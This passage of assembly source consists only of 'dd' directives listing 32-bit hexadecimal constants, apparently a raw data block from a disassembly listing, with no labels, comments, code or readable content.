		dd 0E023DC9Ah, 0C0474F00h, 77E6B798h, 52650054h, 6EC2FA81h
		dd 0F9053206h, 7B9A8086h, 0DCBD6891h, 9A6BF1F0h, 4EA30AD8h
		dd 30F3B5FDh, 0F0052020h, 82005CFCh, 0E94785B3h, 0F3510DF5h
		dd 5648474h, 566F2E5h, 0DD38802Dh, 3A01CF5Dh, 33307EB8h
		dd 8C2044EBh, 0C5C5FF40h, 0E4468470h, 7CC0031h,	25050ED3h
		dd 0F47CC190h, 1A880800h, 6542A4F0h, 0D0AC01F5h, 0DBB14DE1h
		dd 1C24341Fh, 0A00517Dh, 6B41B890h, 1DE091E1h, 0C027E911h
		dd 35439812h, 19071420h, 86D35B0Bh, 0C0CF68D3h,	483229h
		dd 0DCE2BA43h, 0F078F7A4h, 5F5B4000h, 8D1001B4h, 8E5C0A2Fh
		dd 0EF46D50h, 9E859FCEh, 104D873Ah, 898A43AAh, 0E9933901h
		dd 9B3EA8E5h, 3FD61C8h,	117691BDh, 90F97E85h, 6074E1B2h
		dd 94017BF7h, 0ABE7F8A3h, 0F4401C72h, 86AE8F85h, 17FCEC00h
		dd 87A0CA21h, 3F320069h, 0F2D867B7h, 0BC006B2Ah, 5122DD28h
		dd 85B801h, 8696C398h, 0CEB0DB7Ch, 0C9A71C17h, 0CA1AC00h
		dd 0AB210Dh, 0FB0F5F46h, 0D29C4A09h, 0CE3BDB00h, 1B5D1513h
		dd 6FF604E1h, 0C0867012h, 0D5C77175h, 4AFA8BECh, 9154A400h
		dd 0D775E6C2h, 87680EDDh, 0D5200356h, 0BFF94C90h, 0BC2E58h
		dd 89970766h, 3B49C1D4h, 0E4002CC4h, 0DDB93E04h, 216A9E3h
		dd 0E9000533h, 0FED5EC1Dh, 2F091DBDh, 0B9DE42CFh, 0B8A3D897h
		dd 0D8016F16h, 0F6A3B232h, 41D56C12h, 18A1CEE0h, 20FB10F0h
		dd 3538D638h, 0AD1A810Eh, 0A88DBE6h, 1E2C0CE0h,	41FCC34Bh
		dd 3A9C4230h, 2DB8401Bh, 0FB5D33F7h, 800C3AE0h,	9FEDDB64h
		dd 295C5Eh, 5ABB1BC6h, 0AFA87CF4h, 9E1F5404h, 0C8D093BCh
		dd 0E2FCCh, 3119BA27h, 5F691D21h, 88761498h, 0DA526010h
		dd 0F170852Dh, 0EED05060h, 4C7E5BA2h, 8E07199Ah, 0B0EAA3CAh
		dd 88893699h, 309BC824h, 0DD1DC000h, 78F15671h,	30B31E65h
		dd 635400D2h, 43B49B83h, 8B87180Ch, 24E5D192h, 208E2Fh
		dd 0CE1A24EEh, 1F007EA9h, 43DBE142h, 0EA4774h, 889148AEh
		dd 0C6232E68h, 5B007FE8h, 4004B681h, 0B827DC93h, 0F3F25Eh
		dd 0F114D270h, 57BD425Fh, 1F9FC0C0h, 989D0398h,	0CD00008h
		dd 0DC5A4B0Fh, 84D5324h, 4615001Ch, 8DA07713h, 36F409D2h
		dd 9C67B122h, 0F4972383h, 1F96E102h, 21D1F60h, 0C1507309h
		dd 24E090E3h, 4400CFABh, 0BBF85C1Ah, 3B88FE6h, 0E5C3C84Ah
		dd 0C6A0AA53h, 5901110Fh, 0D93A1FA0h, 0D440693Fh, 4C2AD3B8h
		dd 512466F2h, 751250h, 0D87A4A58h, 1200E96Eh, 5B6077C9h
		dd 0E5DC62h, 0B7D30ABh,	8BB5E75h, 89061000h, 7120496Ah
		dd 4A8B001Ah, 5923B5C0h, 1524FAECh, 4800E92Ch, 8275E32Fh
		dd 0DAAA07D5h, 90ED24C3h, 3E33FF9Ah, 0AD4C7B01h, 66BCD72Bh
		dd 0DEB2A040h, 8046001Dh, 0A6B033A8h, 750F1FCDh, 0FC31AC87h
		dd 0DE20D2D8h, 2F650081h, 0F68FF974h, 687850DCh, 8DFB7A00h
		dd 969DD8D3h, 0E210030h, 89A3EBCCh, 55006627h, 1A5AEA04h
		dd 5793A7h, 15A4CA86h, 0AAAE5CD1h, 14E3E800h, 1B1FF95Bh
		dd 4661E9A1h, 0A74069D1h, 0C494CDh, 0F70447DFh,	0DBEE8F9Fh
		dd 4045B49h, 9AA9987Ch,	0F08C3847h, 0B3D2A6E2h,	0BD1F0215h
		dd 0CE603F8h, 0B097BB63h, 609D1656h, 0E0264072h, 0CD1C3934h
		dd 2F401E36h, 0C2077647h, 101C0C02h, 7B20EC25h,	45FFA300h
		dd 981527B0h, 0FC623CA1h, 5351C600h, 0D2C7909Dh, 948BCA00h
		dd 5BA44F12h, 0D04E69h,	43FE4004h, 2CEB3D55h, 7318008Ch
		dd 0BA6C57CAh, 0EB013E6Ah, 8B958104h, 75C780D1h, 2900B9E7h
		dd 312A1ECDh, 18CF5485h, 0B8891DE9h, 59F47A6Eh,	7406F8DEh
		dd 2193B45h, 0AFC4933h,	2C6CE1F1h, 6073C742h, 6A66A850h
		dd 4A03DF05h, 0A3EE96A2h, 0C8ECE076h, 729807CBh, 0B0424397h
		dd 0C62609AAh, 0BA042498h, 57148345h, 50568207h, 4F76A6B2h
		dd 67798EFCh, 0A2A5AD01h, 28CB44Dh, 61AC2080h, 85DAE529h
		dd 0CDF7192Eh, 38C54E00h, 11797E8h, 5694A0E0h, 30101E47h
		dd 43135124h, 6C9CFB22h, 1677B881h, 0CD172Ch, 4FDF750Fh
		dd 0C9002A8Dh, 0D93401DDh, 714376h, 1D08F41Bh, 1C194CE4h
		dd 7C73C00h, 3342D172h,	6B540031h, 0A6177728h, 3A0EA425h
		dd 0A086F5CAh, 75D50BF9h, 318D2A1h, 1EBCF86Dh, 6FDEDB80h
		dd 308FA600h, 6317F9BFh, 0D5380ABDh, 12C07F48h,	0DDAC8855h
		dd 53CC340h, 48F46DBBh,	70E182BCh, 0B36A64C0h, 8351E000h
		dd 0CF0A9F41h, 443E0102h, 0A6488B71h, 39BFD726h, 49F1A780h
		dd 502E2832h, 107D0069h, 0DADCC010h, 1200408h, 0BE958453h
		dd 341E4116h, 7E2CD3ACh, 9C01C0ADh, 2964B661h, 0C0304AFEh
		dd 7DC3564h, 6B1C04B7h,	0D66F600Fh, 0DD020A09h,	0B80B5AB5h
		dd 0A6C080EBh, 79CCC42Ah, 0CF640058h, 0B7494F2Eh, 0D304E184h
		dd 0CB3B7C65h, 6ECCD0C0h, 60871E8Ah, 202D422Fh,	0A4431BC7h
		dd 192662A8h, 3029B72Eh, 0F89A3002h, 2C08403Eh,	5BCB01EAh
		dd 84895C33h, 7C91C417h, 0EC2AD4A0h, 892D4839h,	7A65AAh
		dd 0EEE45AD0h, 3CFB01D6h, 0C6B38FCh, 69C3C4CFh,	146699A0h
		dd 0BD06DE1Eh, 6CFD7A00h, 41BD909h, 38C746D3h, 8FFC800Ch
		dd 0DB804405h, 80EE0B63h, 3420DE11h, 78FD5319h,	4700EFE8h
		dd 0E0AA6A0Eh, 0BF6265Ah, 0C8C1A4D1h, 0E8B02509h, 63382F49h
		dd 6607799Ch, 1A8AA592h, 0DA1FC1D1h, 23542E8h, 64C526D7h
		dd 78F04CE9h, 0B50F03E2h, 0C2B336C1h, 6992CDEFh, 7C3DCA10h
		dd 0B9FD0A00h, 0ED4D3E27h, 261DAE00h, 0BA641D9h, 5FC3126Ah
		dd 40130175h, 0D805DD9Ah, 7930F5EFh, 99A248EBh,	553A0EA3h
		dd 10EF1D97h, 0BD9571A0h, 0FF01494Bh, 4F98ACEFh, 0F7E03FDFh
		dd 106901D3h, 187236E2h, 0D78840B2h, 7700F02Bh,	0C744759Eh
		dd 0C87D4h, 10EB595Fh, 5D84F69Fh, 92EDEC00h, 12BED273h
		dd 6A5A0011h, 0D4F1527Bh, 1FFA44EBh, 1E5CB00h, 8D34CA95h
		dd 0D8BF60DDh, 0C566ECDh, 5855882Ch, 1900E828h,	5287F499h
		dd 37B60C5h, 0B48E5624h, 70AFB8A3h, 0A1CFB1C1h,	9F97E00h
		dd 4D4FBC64h, 74E43E0Fh, 320117BFh, 91CB2DEFh, 8ADC6058h
		dd 0CC00FA76h, 0A1B6E3BDh, 81DE8BEh, 531EB3A7h,	40996E00h
		dd 0CEA9A4h, 0C714882Dh, 76334D46h, 54613200h, 0FEC1744Ah
		dd 240E7895h, 0F46C64h,	1FE726D2h, 0DF000676h, 0E6B7DE6Ah
		dd 0CF27522h, 12DC64DDh, 910F3C20h, 0A0CAB559h,	1C7F0709h
		dd 0AFD54C3Eh, 10643877h, 37668482h, 0F440120Eh, 2F0B1301h
		dd 0EEBE5E88h, 102B14B8h, 0DF01D0C9h, 8FFCEE99h, 0F03570F9h
		dd 0B304E0E4h, 83C44FF8h, 13514C0h, 65561F61h, 0BE09789Ah
		dd 2C20583Bh, 9B803087h, 326C9400h, 240A0BAEh, 8CC817CBh
		dd 0A1B40277h, 0CC80662Dh, 21B8D8DCh, 5C5EA000h, 86C23BFCh
		dd 620CFE81h, 77E436A1h, 761578C8h, 1D13E318h, 7E2A9h
		dd 47B08BE0h, 18C8AAC4h, 71C33Bh, 6441F516h, 7B772E67h
		dd 833400B0h, 528E53ECh, 8103AA6Bh, 0C551B699h,	0F0F5CBA5h
		dd 13DC98A0h, 0A64C6FBh, 0A87F24h, 1FDD60A9h, 1B0056D5h
		dd 0F1ABFF5Ah, 0ED097623h, 0F801C20h, 39B81661h, 3C4A2D40h
		dd 0E57E5DDDh, 0DF984D00h
		dd 11CE3BD9h, 167F001Bh, 49E3C2FCh, 7124FAAFh, 0C60210E9h
		dd 901E9CBBh, 0B20BAC10h, 992D0080h, 0C734E1CAh, 0DC4E3929h
		dd 0FF529800h, 0E066FDh, 46905388h, 0E41522EEh,	92518C06h
		dd 20F34Ch, 4F05E1BEh, 0D6D01A54h, 830FF1Eh, 0EBA07C26h
		dd 58367D24h, 0E007C497h, 5A70C7A9h, 0D9D53Ch, 0F6614E71h
		dd 2A6E7226h, 804F2000h, 78CBCECFh, 1330F976h, 0F56B0004h
		dd 5D90C992h, 234A07D0h, 264A00DCh, 33371Ah, 86C5D0AAh
		dd 18008232h, 0F15B342Ah, 2D748ECAh, 0A880DA1Eh, 7DC93C9Fh
		dd 137FBD3Fh, 0FCC06126h, 5681B43h, 2FCB8803h, 1F67C03Dh
		dd 403E270Bh, 1DC459FBh, 0C1C05520h, 0B3BC7B7Eh, 60DB00EDh
		dd 3CA22E4Fh, 0CC00748Dh, 13F51A9Bh, 2FA83B5h, 12D74133h
		dd 8CE0F469h, 8718B3BEh, 2E11D9A2h, 8F340043h, 8C9938F2h
		dd 0E94C85E0h, 0DAA900D0h, 3AC13EF4h, 9A410724h, 0C0745AF5h
		dd 0CE9183B8h, 0DB1E8800h, 5EC5C69Ch, 869B0058h, 0BE03D8EFh
		dd 5CB49A43h, 981DB384h, 447C7890h, 0AD99014Fh,	2B0163ACh
		dd 601FD8E2h, 18006EF2h, 86E32C23h, 0B936B7h, 531CD1ABh
		dd 0BC4FC6B1h, 1EC9B201h, 46FBB351h, 9EDF9D8h, 1D3D59E3h
		dd 0F16BA868h, 1193A00h, 32AB6D7Fh, 233504F7h, 92EC720Eh
		dd 9B606934h, 0FB0EE9F0h, 8391E69Ah, 78ADF486h,	817C20h
		dd 0C22F639Ch, 5A76BB03h, 6B7D0C00h, 0A69A7885h, 0E1EB00C9h
		dd 0AAC5A7B9h, 8FEE7463h, 17188C01h, 52436B7Fh,	0BEE3919Ch
		dd 0A8571A1Dh, 0EA373E40h, 0D6601500h, 0FB990466h, 103FEB28h
		dd 328BD502h, 815B6BCAh, 8C57E124h, 0F85CE3D4h,	0E90CA058h
		dd 0E4EC1D3Ch, 4334875Fh, 5C11307Eh, 0D00E275h,	0F29E63B9h
		dd 0E82F98h, 5DB0D3C5h,	4F94D4B3h, 88EFE600h, 33AF7ED6h
		dd 0A0350029h, 4238984Bh, 4C747AF5h, 3F73C700h,	0B2AAFE14h
		dd 901C0064h, 25E13BF2h, 4A0062D1h, 0B5A554D9h,	3919889h
		dd 0E0A10452h, 0BEB87ECBh, 7A01DD0Dh, 0D01F70A9h, 44D89886h
		dd 79C33A38h, 0FE77400h, 1ECB2B87h, 170AA107h, 45604A2Fh
		dd 14AC57h, 0C19EEABBh,	428E4DDBh, 457E9A27h, 39605DA4h
		dd 0C24BBCh, 0F85CD885h, 44AC670h, 8F1F90F4h, 88434EC8h
		dd 0D0D28AEFh, 0F08770C9h, 0F9AE8CDh, 6F7AC243h, 9B67CC8Fh
		dd 6C84005Ch, 7B033A88h, 8AC3446Bh, 8607E0DEh, 0EBE83AC5h
		dd 0EE007E48h, 0C34BBA42h, 350F7B85h, 2D960FDh,	60698BEAh
		dd 5A57FF6h, 65E984Fh, 0E10CAB87h, 2763B8B6h, 6040A1B1h
		dd 0F1047B72h, 789007DAh, 380874E8h, 3408565Bh,	142694A8h
		dd 218E4E11h, 0AB4508B4h, 887C0A88h, 10888954h,	0AD938858h
		dd 28283E94h, 0C42142Bh, 21B2EA11h, 0B62C0822h,	113C6894h
		dd 0D62AB51Fh, 64944428h, 0B3AC14A0h, 50413A89h, 0C0128A6Dh
		dd 0BE331482h, 2804EE25h, 0BC48B54Ah, 25F82B42h, 0E6140492h
		dd 4298489Fh, 912EC68Ah, 0BB11B200h, 0FA4AA50Bh, 1700B6F8h
		dd 4593F92Dh, 171DC0Fh,	4727C759h, 0C37E48FCh, 29D320B0h
		dd 7B77F901h, 953326CDh, 0A6D5F7C9h, 6B62DCh, 0D9A197C3h
		dd 561AB0C8h, 0F4E7F471h, 0D300FFBEh, 91C7072Bh, 0BD5494h
		dd 0A76E308Dh, 0B829E293h, 7BABA7A0h, 588A53Bh,	8FEAEE9Dh
		dd 0D178A5C0h, 3EEC0730h, 604A7A94h, 7E6290C3h,	0CBA79E00h
		dd 867DB27Fh, 0C2F800EBh, 84ED77F7h, 8524A3A6h,	288090C5h
		dd 308B1038h, 79140B40h, 0D2007726h, 2C014833h,	0EFC84C07h
		dd 2AF3CF29h, 87BCD8F2h, 0ECB30E2Dh, 0EB606F58h, 23A2D4C6h
		dd 7300B892h, 0DA92B494h, 73C8B6C0h, 90BA0F11h,	1860CECCh
		dd 78AE2C63h, 8BB6400h,	0DF2BBF1Ah, 3C75F9h, 0A3B1B60Fh
		dd 0E6262E9Bh, 3827FF07h, 4809828h, 94F682h, 87CB73D8h
		dd 1754758Fh, 0E53FE001h, 0B6AC80FDh, 24BCECh, 87DE40F7h
		dd 9ABFE90Dh, 0D1822D00h, 0E0516878h, 3E7D8Ah, 4DA2B66h
		dd 25A05862h, 0D7A93Dh,	0F72A5943h, 0C38B2C4h, 0F09A500Eh
		dd 1400F916h, 92A95D20h, 4D2FED60h, 0EF003480h,	0C24C0970h
		dd 0BA00A822h, 0D1CFE5ADh, 0B517D3h, 3DEC072Fh,	5EDC4AF6h
		dd 0EB74A8C0h, 1365BBh,	8FB19753h, 0C283CDA5h, 86BE8C00h
		dd 0C3368759h, 51711F4Dh, 50827C75h, 0F9915585h, 0FC5E1C40h
		dd 0E18B800h, 0DD10A556h, 38B97529h, 0E8A8AD63h, 1026489Ch
		dd 2DADF00h, 8AB7B3F7h,	0BEEBE500h, 72EE6660h, 0F8D1545Ah
		dd 4FA208ADh, 5C87F6A5h, 0AC00BC3Eh, 0FA1431h, 8EA0EA82h
		dd 21304F0Dh, 0AF588A00h, 17841A94h, 0DEB606F5h, 2011268Ch
		dd 0D4BC0F1Ch, 2D838EBFh, 256702B5h, 2C98A04Bh,	3373B1h
		dd 7BAFB7A9h, 14E5B4Fh,	91206A0Fh, 26E20D0h, 659821h, 672F3809h
		dd 9329994Fh, 3180D8DDh, 6BDA8A48h, 7F2B0394h, 0E58F9B72h
		dd 0E24C12D8h, 1CF75504h, 9780BEB8h, 5AA2FEh, 0D32BD209h
		dd 90E31858h, 5C8CBB07h, 8783670Fh, 0ABB83F08h,	41EE4987h
		dd 0C56600FFh, 600CAE3h, 8940B083h, 8EB997h, 9280F24Ah
		dd 0CF680512h, 43EF3Ch,	86D8AEF8h, 0EA8A3C89h, 932100AFh
		dd 0AADBAC97h, 0C9001E73h, 0A2BA361Ch, 13CAEAh,	0AF926DC0h
		dd 0F82CA939h, 0C831773Ah, 29C200CCh, 472F7F1h,	0BE860023h
		dd 60F56B47h, 2B7E2605h, 0D3FD3101h, 800C4CDFh,	7B34C520h
		dd 0D530055h, 39204D7Dh, 51260BBFh, 8800432Ah, 0E1D0467Ch
		dd 0B1520097h, 5EB60E71h, 17EE9B48h, 89BF5802h,	46834AF8h
		dd 0D6B007E0h, 15CA6C08h, 6DD04186h, 24BACDFEh,	61001F1Ch
		dd 68E82DDDh, 10D0B4h, 5BDFD130h, 58D0645h, 19C12409h
		dd 2A508070h, 93CA97h, 65A441B6h, 0CC585690h, 3DA8041Ch
		dd 0F6595700h, 1213377Bh, 89DEA7h, 81B80820h, 0FD00D9DBh
		dd 9A5B9D4Fh, 4946F88h,	0A7D2416Bh, 8170C17Ch, 90FC6429h
		dd 4E843300h, 56A09E64h, 0FFF2002Dh, 9730703Fh,	3B03D107h
		dd 25441887h, 90BED0A3h, 0C9E70072h, 81E0D8FCh,	0CC00FB24h
		dd 480A8ABFh, 1F92B35h,	0EB9B2FB7h, 0DCECE079h,	0C603095Eh
		dd 990F4ED8h, 0BB97C083h, 2DA4003Ch, 0C8616945h, 698123Dh
		dd 5412F27Ah, 0B30F477Ah, 0CD11238Bh, 3883E0BEh, 0C0720088h
		dd 7DAF19AAh, 310E994Ch, 21859B1Bh, 80EF52CBh, 0E0840930h
		dd 62060340h, 7CFF370Ah, 7A8F003h, 0D01385ADh, 44431Dh
		dd 9836705h, 27495A48h,	91510F00h, 524EC9EDh, 0C65600CAh
		dd 4DE3A3A1h, 2F00DF69h, 1635AB81h, 130AA24h, 3304CEA2h
		dd 22093FA3h, 0C9710008h, 54148CBAh, 0A380920h,	0A4008AB5h
		dd 0B8DBA1FFh, 12567600h, 3564069Bh, 6B430037h,	3BE15DEAh
		dd 0CB1CC80Dh, 2B8194E9h, 332A7312h, 3F0E4CD4h,	5E9C5BDCh
		dd 0C01AC082h, 0FF9957DBh, 0B8242973h, 4D0E571Eh, 0A6666006h
		dd 6194ADh, 0C348523Bh,	0B2C5C809h, 3EC66D01h, 94565CD0h
		dd 0E2DF3D4h, 0A6823153h, 32CF1A01h, 0B024D07Ah, 0DA2C39h
		dd 96A55F34h, 2CEFD8CDh, 24E42D67h, 63E4003Ah, 7870C47Fh
		dd 0BFE4F00h, 0E9A11E3Ch, 37A90081h, 0C9CDA4EEh, 0C50E1D8Ch
		dd 0A01A3B5Dh, 0B32EA759h, 0E8809F8Fh, 301634F3h, 0FE88A650h
		dd 24498104h, 0CC815745h, 0C03F8B03h, 2B87EDEh,	5DC86900h
		dd 0BF2127CFh, 0CDF31F37h, 2F19C06Bh, 6A7A986Eh, 36434407h
		dd 8750B18Fh, 9809B548h, 6684003Bh, 584EE78Bh, 390105FEh
		dd 0FF91BE67h, 918E7BA6h, 1DA03BCAh, 9CCBFE88h,	8149C600h
		dd 0F36F7D23h
		dd 153F489h, 0D601219Bh, 0C034BAB0h, 0DF1397A5h, 0D400B4E9h
		dd 0D191D325h, 0A0230C17h, 0A7912212h, 0B77D492Ch, 5E147300h
		dd 0AD1F39h, 0ECA44B7Fh, 0C33D764Fh, 0DD86281Dh, 0A05F8E4Fh
		dd 9C1E1B71h, 0D9C70203h, 996DD21Ah, 54D61C60h,	9557F500h
		dd 0A02644E4h, 50AE00A8h, 399B792Eh, 0A23AE8AAh, 0A61A8012h
		dd 0B42A5B3Fh, 256000C1h, 1EC38F17h, 0F048B893h, 0FE85000Ch
		dd 0F6E6F942h, 23D80097h, 9BDD5F83h, 0B2004875h, 17BBE36Fh
		dd 24B5389h, 0E5FA36C5h, 604097F2h, 6300B9D4h, 8299FEDDh
		dd 0B0ED165Ch, 0A82D26A3h, 4DEE0034h, 0E889B39Dh, 1A82E200h
		dd 0FF61680Bh, 0B7B126E9h, 0EBDF8004h, 39F4E070h, 0C9551703h
		dd 88F1AF0Ah, 74E1376h,	1E9D0FC3h, 858CC222h, 83DDD460h
		dd 2E4D41FEh, 5BBB09B4h, 95C081BAh, 7C601411h, 3E7B1C5Fh
		dd 0BFE5803Dh, 0BDEA67F0h, 9B00357Ah, 0AEB32D7h, 0CE25EEh
		dd 0F1DDEF57h, 0BBD1C8AAh, 344D59h, 133D6D0Eh, 18288AEh
		dd 87ABB7E1h, 41899F41h, 0D465D2F4h, 50700B3Fh,	0F6D91400h
		dd 8F256978h, 16E211h, 2F63EDF3h, 6A82BEFDh, 0C1EC6Fh
		dd 449A96A3h, 7914004Ch, 29E29001h, 3C00D98Ah, 0A60C0F0Bh
		dd 261A5165h, 964799Bh,	8C80B3D4h, 0CAA0C67Fh, 0CBB1C000h
		dd 0EDC4151Fh, 8BD301C5h, 58691DD5h, 0A7EEDC3Fh, 0B7B61207h
		dd 0E3703A57h, 2100DA0h, 26A55599h, 2EC01EC4h, 732E2733h
		dd 0F4008470h, 0B2993B6h, 556F005Ch, 0BD717DC8h, 0E5006A91h
		dd 0B4C0CFD8h, 0A0B13Bh, 4508EBFFh, 26D680AEh, 9B9D5500h
		dd 28AFC71Dh, 0A93E09ABh, 4484478h, 2A544613h, 8D242FD8h
		dd 3700D53Fh, 289119E1h, 4503002Eh, 0BCE87B5Ch,	0D31E7751h
		dd 0D2417433h, 0AA150EFCh, 0F1D4A031h, 193C1D6Ah, 34D8008Fh
		dd 312B9C77h, 39E10A00h, 0DEF20888h, 972D0087h,	7728B91Ch
		dd 5E010920h, 0EC0134D1h, 2081884Bh, 4715F61Bh,	0DE0ED88Ch
		dd 0F85BD407h, 0C130E4E1h, 2C7D9E7Bh, 7B027A3h,	0B9B27FD6h
		dd 7C80068Eh, 0E6646638h, 9FF96E00h, 69968B27h,	0FE04309Bh
		dd 1FA54A10h, 6AE30B01h, 63C8F5F1h, 6020F421h, 6CF43932h
		dd 446912h, 3A6E84D6h, 51283E81h, 651CA2F9h, 0A80432Dh
		dd 3C7208CCh, 881C0002h, 189855D9h, 0F00EAEB3h,	3E76F707h
		dd 277BA400h, 7E18671h,	59EA6D3Dh, 0C30A1065h, 1CB0D091h
		dd 68E27233h, 0C10880F3h, 0F371EB8h, 0A611CBA7h, 55921040h
		dd 0D1FD0D00h, 7845D27Ah, 0E2CD00C3h, 27042C24h, 5001A538h
		dd 0E10CC095h, 5C20CCE9h, 597100A2h, 1C90867Bh,	0DCFBFDA1h
		dd 0A76BE54h, 23007FF2h, 0CC94E492h, 248749h, 0D406329Dh
		dd 4E4C62F4h, 11304712h, 0F68F0200h, 61DA90h, 0EB8549B9h
		dd 2A5E264Bh, 5E4D700h,	0B8A6C472h, 90B50031h, 2395EDEFh
		dd 2204BA0Ah, 20740710h, 277CD880h, 9F7F4Fh, 0B63B625Bh
		dd 0E17E55Fh, 105EE603h, 4CDB01C6h, 0C1C03098h,	0A172D26h
		dd 19045900h, 24955E11h, 0C3F083h, 9BA868FAh, 23C4EE86h
		dd 9D2E6300h, 6B49A5AEh, 749287h, 3D71B6FEh, 0CE771235h
		dd 8C45EA28h, 0FA20AE00h, 0A7ED40D2h, 849629h, 1B1E55A0h
		dd 675D9369h, 8B0726D0h, 8CBF1C00h, 29A2AFC0h, 5CCEA2Dh
		dd 0C0E8A68Fh, 18D4E7D8h, 95F38200h, 34A2BBDDh,	10E20BF8h
		dd 0BCF6B7F5h, 751A9E00h, 16C5CB8h, 64FCCFF6h, 20C5B6CCh
		dd 153FC380h, 0CA1AA631h, 7C143E00h, 1D883DE4h,	80D2E05Eh
		dd 0A1D9A0Eh, 830179Bh,	0FAE8A089h, 496B038h, 7C115D35h
		dd 30EC905Bh, 2972E647h, 9440784Eh, 0F17D2D10h,	1A2E12D4h
		dd 1B38C07Fh, 8573A49Ch, 99CA6238h, 9D18FC16h, 9D7F5C30h
		dd 0F49FBC80h, 8CA8AB79h, 151EB070h, 4C80F533h,	0C4C75DA3h
		dd 4C9748CCh, 8030851Eh, 0E42A88Eh, 1E24CE58h, 3A00F0ACh
		dd 517F9E5Ah, 4A4B18FDh, 6FC330EFh, 0B72A0100h,	0EA4D2469h
		dd 1E601F5Bh, 0FA9D0086h, 6D44B290h, 602C253Eh,	0CC919C80h
		dd 5868008Ah, 0DB4906B9h, 7003F8Ch, 51FF08D5h, 1C33964Ch
		dd 41D3E58Ah, 15767287h, 6CC180ACh, 1DD1DDCEh, 0D40F09B4h
		dd 1844BB4Ch, 89F5ED3Ah, 805CFEA8h, 881E5A70h, 0B0DE5E9Ah
		dd 6400D09Eh, 209DB639h, 0BA7169h, 5C59B849h, 82D440ACh
		dd 92E12C00h, 0C18E3163h, 78B7884h, 0AFCCC7F2h,	9DA6E293h
		dd 3DC8A4ACh, 87650F00h, 7976714Ah, 73B10050h, 3621A362h
		dd 0AD2E1047h, 0CA1464EEh, 1AA70098h, 0E6E1B393h, 5FDF2C3h
		dd 0E387EC16h, 7EC48846h, 0D4598200h, 0E991D3Bh, 1D20EFBh
		dd 72826D4Bh, 55057Ch, 1935C150h, 8C285C74h, 64A0558Eh
		dd 57ABA462h, 974488A0h, 0D880801h, 5460BADh, 2CC39454h
		dd 5A99C126h, 0B594EE40h, 49A102C5h, 7E9E2FB3h,	90DC9686h
		dd 29BEA900h, 54C68E18h, 307CE4FAh, 7DD0FE64h, 1301B05Eh
		dd 15EA35CBh, 0D2C4F6DEh, 24B898h, 1823DA11h, 8047CDFFh
		dd 81098131h, 42D4E85Ah, 1B9E124Dh, 0F8544033h,	0E3AC0E55h
		dd 0D6775000h, 4D54F4A5h, 7C5D1687h, 48900EDEh,	803DB2A7h
		dd 2A1FCFADh, 0DCFA7800h, 0BAB1A4CDh, 80109129h, 7CB6E502h
		dd 0D400A936h, 16281E9h, 11AAB99h, 0A074BE29h, 0D33716D6h
		dd 3A31A798h, 0D16B8300h, 137F96F3h, 841B1D29h,	5D070737h
		dd 35B05155h, 583181A9h, 668E0A3h, 2C43D260h, 1C59989h
		dd 0EDE2BDE3h, 5C9DF81Fh, 3EB73900h, 0E0306367h, 1DBB0045h
		dd 0A45E75EBh, 400038EFh, 54949A99h, 76B8FBF5h,	7EF6B6h
		dd 7C6CA684h, 0E26B1CA0h, 0BD27400h, 3FAA894Ah,	418F015Fh
		dd 3044C306h, 7AFA40CCh, 2F00ED29h, 0DD617D71h,	28908FE3h
		dd 26A666FBh, 0AEEF37h,	0D67515Eh, 0D3017649h, 3A6B16DBh
		dd 0E7F06860h, 901A0C54h, 3880630Ch, 8166203Dh,	924AEB3Eh
		dd 73D49301h, 0ECA00C1h, 6179482Ah, 0E838AC56h,	5154832Fh
		dd 0A07226BDh, 9246DDh,	0CCDC3549h, 0FEC6EC63h,	3D1293Ah
		dd 3439AD72h, 0C7D68887h, 41DE0958h, 1A01EC69h,	6E834405h
		dd 0E694F0h, 0A14C4B8Dh, 0C7A7D12h, 305639h, 0AAD6DCC3h
		dd 32548F2h, 350B93A6h,	78C06BA4h, 8B3ED1DEh, 30013061h
		dd 83061Ah, 17D8C2FEh, 503EEB60h, 0C99A4000h, 4D6FC620h
		dd 1C4BE21Eh, 6FBC043h,	61EA7D1Ch, 2636B500h, 0A24C37F7h
		dd 0BAC8034Ah, 0A96CF152h, 0C03F2001h, 130F1AC7h, 154818EBh
		dd 0E6758825h, 8138F718h, 0F5880B9h, 840927B4h,	0B55A8CA2h
		dd 3B292C90h, 0A4EAF110h, 2747B703h, 0E9D88E0Ch, 6016A7B0h
		dd 0EE007A88h, 0C58724C8h, 8FEA01EBh, 1678E27h,	0E46981FFh
		dd 0B6929650h, 384B7120h, 6B137090h, 0D0B703BDh, 2800F948h
		dd 16B188A5h, 1D32B2Ah,	0F2A18978h, 0FCDA6743h,	0F800C90Bh
		dd 2AECADA6h, 0F373AC3Dh, 4335DE40h, 5EFA0081h,	0B14F1797h
		dd 0DD006B33h, 6A022ECh, 3F859ED1h, 51600CBEh, 0DCD57849h
		dd 64024C00h, 95511C3Bh, 0D734021Eh, 1143E06Ah,	806F8761h
		dd 831D0C31h, 87ABEDh, 0D7DF2740h, 37E7732Ah, 0ECE36E00h
		dd 29EDCBF5h, 99850104h, 0D5FDD326h, 151CF048h,	19B4D0Ah
		dd 34808806h, 457CF324h, 9D802868h, 0FBB600B9h,	0E7A466CBh
		dd 28C023D1h, 5A935CCCh, 8F043A87h, 22AA7600h, 5921143Dh
		dd 964F4E00h, 7A1E3718h, 0EF4D0080h, 998340A9h,	0E400AB45h
		dd 0EBC75692h, 0BC1056Ah, 5ECA89D1h, 53D45100h,	5D00189Ch
		dd 0ADC9830h, 24AAAF4Ch
		dd 181ABCh, 0F2DA657Ch,	9B003E33h, 0A48B704Ah, 73393DF0h
		dd 7D7F2666h, 79C11EB0h, 9616D700h, 456F9209h, 53DAC600h
		dd 0A56C0A91h, 2A970343h, 3EBAFBC8h, 0B9A82DF8h, 1896358h
		dd 0B1521B86h, 0FEE82BACh, 0CC500F4h, 5331D481h, 27002994h
		dd 7B9EE66Bh, 9BB55Dh, 0FCA15811h, 52C112DEh, 0AC8EC21Ch
		dd 2D0667C0h, 1DE79DBCh, 5B5350C8h, 608710D7h, 604AC4B5h
		dd 251C7E00h, 8415AC91h, 0E3BD010Bh, 0C8105530h, 0B8FED468h
		dd 0DC793400h, 0D0BE1EAAh, 57CB0203h, 0D1BE1D8h, 0A4778240h
		dd 6F10FA05h, 0B51EBA87h, 0B34C7B00h, 0EA80834h, 0DDCB4970h
		dd 78E16760h, 473A7D2Fh, 545880F8h, 88FAD006h, 0CC9071h
		dd 3E05678Bh, 7FDA521Ch, 0F6EC200h, 0E9932A2Ch,	3F8800CAh
		dd 5BBE02B1h, 790029A8h, 401410FCh, 3A2CB945h, 4E80F964h
